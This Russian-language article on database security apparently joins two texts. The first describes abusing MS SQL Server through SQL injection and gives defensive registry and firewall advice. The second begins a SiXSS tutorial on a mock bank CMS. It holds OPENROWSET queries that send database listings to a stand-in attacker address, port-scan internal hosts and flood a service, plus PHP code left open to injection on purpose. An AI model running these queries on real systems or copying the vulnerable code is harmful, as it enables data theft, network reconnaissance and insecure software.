Защита баз данных

       exec LinkedOrRemoteSrv1.master.dbo.sp_executesql  

       N'LinkedOrRemoteSrv2.master.dbo.sp_executesql N''select * from  

       master.dbo.sysservers'''  
 
 

       insert into   

             OPENROWSET('SQLoledb',  

             'uid=sa;pwd=h8ck3r;Network=DBMSSOCN;Address=hackersip,80;',  

             'select * from _sysdatabases')   

       exec LinkedOrRemoteSrv1.master.dbo.sp_executesql  

       N'LinkedOrRemoteSrv2.master.dbo.sp_executesql N''select * from  

       master.dbo.sysdatabases'''   
 

       ...и т.д.

       Как только атакующий получил необходимый  доступ к соединенному или удаленному серверу, он или она могла бы загрузить  файл на сервер, используя методы упоминавшиеся  ранее.

       Сканирование  портов

       Используя описанный ранее метод, атакующий  мог бы использовать SQL инъекцию для  элементарного IP/порт сканирования внутренней сети или Интернета. Также, при использование SQL инъекции действительный IP адрес  атакующего будет замаскирован.

       После нахождения уязвимого (web) приложения, атакующий может использовать следующий SQL запрос:   

       select * from  

             OPENROWSET('SQLoledb',  

             'uid=sa;pwd=;Network=DBMSSOCN;Address=10.0.0.123,80;timeout=5',  

             'select * from table')  
 

       Этот  запрос создаст исходящее соединение на адрес 10.0.0.123, используя 80-й порт. Анализируя сообщения об ошибке и  время реакции, атакующий определяет, открыт порт или нет. Если порт закрыт, то по прошествии времени, определенного  в параметре timeout (в секундах), будет  отображено следующее сообщение:   

       SQL Server does not exist or access denied.   
 

       Если  порт открыт, время ответа может  быть менее установленного в параметре timeout (зависит от приложения использующего  этот порт) и будет возвращено следующее  сообщение об ошибке:   

       General network error. Check your network documentation. 

       или

       OLE DB provider 'sqloledb' reported an error. The provider did not give any  

       information about the error.   
 

       Используя эту технику, нападающий сможет узнать об открытых портах на сканируемых  хостах внутренней сети или Интернет. IP адрес атакующего будет скрыт  потому, что соединение устанавливает  захваченный SQL сервер. Очевидно, эта  форма сканера портов немного  сыра, но все же может быть эффективным  инструментом для сканирования сети.

       Другой  возможный эффект такого сканера  портов это DOS-атака. Рассмотрим следующий  пример:   

       select * from  

             OPENROWSET('SQLoledb',  

             'uid=sa;pwd=;Network=DBMSSOCN;Address=10.0.0.123,21;timeout=600',  

             'select * from table')  
 

       Эта команда установит исходящее  соединение на адрес 10.0.0.123, используя 21 порт, в течение 10 минут выполнится почти 1000 соединений к ftp сервису. Это  происходит в результате того, что SQL сервер не может подключиться, но продолжает попытки в течение установленного в timeout времени. Эта атака могла  бы быть проведена многократно для  умножения эффекта.

       Рекомендации

       Главная рекомендация – убедиться в отсутствие уязвимостей SQL Injection. Это наиболее важная рекомендация, потому что даже если не удастся проделать трюки, описанные  в этой статье, возможно, появится другой способ использовать уязвимости. Для  предохранения от SQL инъекций рекомендуется  использовать параметрические запросы  и фильтровать ввод пользователя на наличие не буквенно-цифровых символов.

       Наиболее  правильный метод – придерживаться стандартов безопасного программирования при написании приложений. Если код  приложения уже написан, необходимо провести аудит для обнаружения  уязвимостей. Так же рекомендуется  обратиться к некоторым средствам  автоматизации, которые предназначены  для обнаружения таких типов  проблем.

       Даже  если Вы чувствуете, что закрыли  все известные уязвимости, хорошим  решением будет отключение неиспользуемых функциональных возможностей SQL сервера. Но только в том случае если эта  функциональность действительно вам  не нужна. К счастью, функции, которые  мы хотим заблокировать используются не часто.

       Вы  должны запретить специальные запросы  через OLEDB от SQL сервера. Возможность  осуществления этих запросов контролируются установкой значения DisallowAdhocAccess в системном  реестре.

       Если  вы пользуетесь именованными экземплярами (только в Microsoft SQL Server 2000), установите значение DisallowAdhocAccess=1 в каждой подветке ключа:   

       HKEY_LOCAL_MACHINESoftwareMicrosoftMicrosoft SQL Server 

       [Имя_экземпляра]Providers.   
 

       Если  вы используете экземпляр по умолчанию, установите значение DisallowAdhocAccess=1 в  каждой подветке ключа:   

       HKEY_LOCAL_MACHINESoftwareMSSQLServerMSSQLServerProviders.   
 

       Проделайте  следующие шаги, для того чтобы  установить это значение:

       1) Запустите редактор реестра (regedit.exe). 
2) Найдите вышеуказанный ключ реестра. 
3) Выберите первую подветку провайдера. 
4) Выберите в меню EditNewDWORD Value. 
5) Установите в качестве имени нового значения DisallowAdhocAccess. 
6) Кликнете по этому имени и установите значение в 1. 
7) Повторите эти действия для каждого провайдера.

       Если  вы параноик, вы можете установить ключи  реестра в режим только для  чтения, для того чтобы их нельзя было редактировать.

       Так же очень важным является наложение  патчей устраняющих ошибки в безопасности, необходимо делать это своевременно.

       Для того чтобы быть в курсе новых  уязвимостей Microsoft SQL Server, рекомендуется  подписаться на список рассылки уведомлений AppSecInc:

       http://www.appsecinc.com/resources/mailinglist.html

       Последняя предосторожность, настройте и протестируйте  брандмауэр так, чтобы он блокировал весь излишний исходящий трафик. Это  поможет не только сохранить базу данных, но и улучшит безопасность сети в целом.

       Вывод

       То, что мы продемонстрировали в этом документе это небольшие возможности  доступа, которые могут быть использованы для получения полного контроля над множеством серверов. SQL это универсальный  язык. Не один здравомыслящий человек  не позволит запускать произвольный код Си++ или Visual Basic на сервере. Тоже касается SQL. Ни один здравомыслящий человек  не позволит слепо выполнить то, что ввел пользователь. Этот документ показывает почему это не должно случаться.

       Microsoft SQL Server это мощный, гибкий и доступный  сервер баз данных служащий  основой для множества приложений. Исходя из этого факта, важно  понимать, как SQL сервер может  быть скомпрометирован, и тем  более важно понимать, как этого  можно избежать. SQL сервер это  инструмент и если его использовать  неправильно или небрежно в  результате можно подвергнуть  опасности не только данные, но  и другие приложения в сети. Это означает, что мы должны  серьезно подходить к обеспечению  безопасности Microsoft SQL Server.

       Введение

       Насколько серьезной является уязвимость класса Sql Injection? Она может обеспечить доступ к информации на сервере, дать возможность  выполнять произвольные команды, получить привилегии администратора на web-форуме и многое другое... Как правило  эта уязвимость возникает на стороне  сервера, но эту уязвимость можно  использовать на стороне клиента. Общедоступные  и “самописные” CMS (Content Management System –  Системы Управления Содержимым сайта) широко используются по ряду причин; одна из таких причин – удобное управление текстовой информацией и ссылками. Этот документ рассказывает о паре альтернативных путей использования Sql Injection. Предположим, что мы разработчики CMS, и эта CMS используется банком... Предположим, что мы случайно оставили уязвимость Sql Injection на web-странице. Но подождите! Нет  проблем! Конфигурация базы данных запрещает  доступа к файлам и т.д.[1], нет  конкретной информации относительно базы данных, нет web-форумов и нет ничего лишнего на сервере...

       Всё же это может доставить некоторые  проблемы...

       XSS (Cross Site Scripting – Межсайтовый Скриптинг) атаки [2][3]

       Фишинг

       HTTP Response Spliting атаки 

       SiXSS – SQL инъекции для межсайтового скриптинга

       Среда для тестирования

       Предположим, имеется база данных и таблица  подобная этой:

       <code>

       # The cms.sql file 

       CREATE DATABASE cms; 

       USE cms; 

       GRANT SELECT ON cms.* TO 'user_noprivs'@'localhost'

       IDENTIFIED BY PASSWORD ''; 

       CREATE TABLE content_table (

                                    id INT PRIMARY KEY AUTO_INCREMENT,

                                    content TEXT

                                  ); 

       INSERT INTO content_table (content) VALUES

                   ('<h1>My Bank</h1> 

                    <p><form action="check.php" method=post>

                    <table>

                      <tr>

                        <td>User:</td>

                        <td><input type="text" name="username"></td> 

                      </tr>

                      <tr>

                        <td>Password:</td>

                        <td><input type="password" name="pass"></td>

                      </tr> 

                      <tr>

                        <td><input type=submit value="LogIn"></td>

                      </tr>

                    </table>

                    </form>');  

       </code> 

       Также имеется php файл подобный этому (index.php):

       <code>

       <html>

         <head>

           <title>My Bank</title> 

         </head>

         <body>

         <?

         if (@isset($_GET['id'])) {

            $myconns=@mysql_connect("127.0.0.1","user_noprivs","")

            or die ("sorry can't connect");

            @mysql_select_db("cms") or die ("sorry can`t select DB");

            $sql_query = @mysql_query(

               "select content from content_table where id=".$_GET['id'])

            or die("Sorry wrong SQL Query");